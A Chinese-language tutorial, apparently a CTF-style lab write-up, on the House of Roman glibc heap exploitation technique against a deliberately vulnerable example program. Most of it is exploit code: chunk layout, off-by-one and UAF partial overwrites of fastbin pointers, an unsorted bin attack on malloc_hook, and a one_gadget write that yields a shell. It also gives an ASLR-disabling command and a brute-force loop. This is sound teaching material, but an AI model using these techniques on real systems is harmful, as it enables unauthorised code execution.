House of Roman 实战
字数 1645 2025-08-20 18:17:07
House of Roman 利用技术详解
一、概述
House of Roman 是一种不需要泄露 libc 地址的利用技术,通过堆内存布局和堆相关漏洞(如 UAF、off-by-one 等)实现 getshell。该技术的核心思想是利用局部写减少 ASLR 随机化程度,通过爆破绕过地址随机化保护。
二、示例程序分析
保护机制
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: PIE enabled
程序功能
- Malloc: 用户输入 size,然后 malloc(size),大小不限
- Write: 往指定 heap_ptr 写入 size+1 字节数据(存在一字节溢出)
- Free: 调用 free 释放 heap_ptr,但没有清零指针(存在 double free 和 UAF)
三、利用思路
核心思想
利用局部写减少 ASLR 随机化程度,通过爆破可能的部分地址。由于 ASLR 低 12 位随机化程度较小,这为爆破提供了可能。
利用步骤
- 分配 3 个 chunk (A, B, C),大小分别为 0x20, 0xd0, 0x70
- 在 B + 0x78 处设置 p64(0x61) 伪造 size
- 释放 B 进入 unsorted bin(此时 B+0x10 和 B+0x18 中有 main_arena 地址)
- 再次分配 0xd0,会分配到 B(main_arena 地址依然存在)
- 分配 3 个 0x70 的 chunk (D, E, F)
- 在 A 触发单字节溢出,修改 B->size = 0x71
- 释放 C 和 D,进入 fastbin(D->fd = C)
- 利用 UAF 修改 D->fd 的低字节,使 D->fd=B
- 此时 B->size = 0x71,B + 0x78 为 p64(0x61),成功伪造 0x70 大小的 fastbin
- B->fd 为 main_arena 地址,通过修改低 2 字节指向 malloc_hook - 0x23
- 分配 3 次 0x70 的 chunk,拿到包含 malloc_hook 的 chunk
- 利用 unsorted bin 修改 malloc_hook 内容为 main_arena 地址
- 利用部分写修改 malloc_hook 为 one_gadget
- 多次释放一个指针触发 double free 异常,触发 malloc_printerr 实现 getshell
四、详细利用过程
1. 初始堆布局
create(0x18,0) # 0x20
create(0xc8,1) # 0xd0
create(0x65,2) # 0x70
2. 伪造 size
fake = "A"*0x68
fake += p64(0x61) # fake size
edit(1,fake)
3. 释放并重新分配
free(1)
create(0xc8,1)
4. 分配 fastbin 并修改 size
create(0x65,3) # b
create(0x65,15)
create(0x65,18)
over = "A"*0x18 # off by one
over += "\x71" # set chunk 1's size --> 0x71
edit(0,over)
5. 创建 fastbin 并修改 fd
free(2)
free(3)
heap_po = "\x20"
edit(3,heap_po) # 把 chunk 1 链入 fastbin
此时 fastbin 状态:
fastbins
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88)
6. 修改指向 malloc_hook
malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly) # 部分写修改 fastbin->fd
7. 分配获取 malloc_hook
create(0x65,0)
create(0x65,0)
create(0x65,0) # 拿到了 malloc_hook
8. 修复 fastbin
free(15)
edit(15,p64(0x00)) # 修改 fd=0 修复 fastbin
9. unsorted bin 攻击
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1) # unsorted bin 使 malloc_hook 有 libc 地址
10. 修改 malloc_hook 为 one_gadget
over = "R"*0x13 # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over) # malloc_hook to one_gadget
11. 触发 getshell
free(18)
free(18) # 触发 double free 异常
五、调试技巧
- 关闭 ASLR 方便调试:
echo 0 > /proc/sys/kernel/randomize_va_space
- 爆破脚本(由于 ASLR 需要多次尝试):
#!/bin/bash
for i in `seq 1 5000`; do
python final.py;
done
六、关键点总结
- 部分地址写:利用 ASLR 低 12 位随机化程度较小的特点
- 堆布局:精心设计 chunk 大小和释放顺序
- 伪造 fastbin:通过 off-by-one 修改 size 并伪造 fd
- unsorted bin 攻击:用于向 malloc_hook 写入 libc 地址
- one_gadget 写入:通过部分写修改 malloc_hook
- 触发机制:通过 double free 触发 malloc_printerr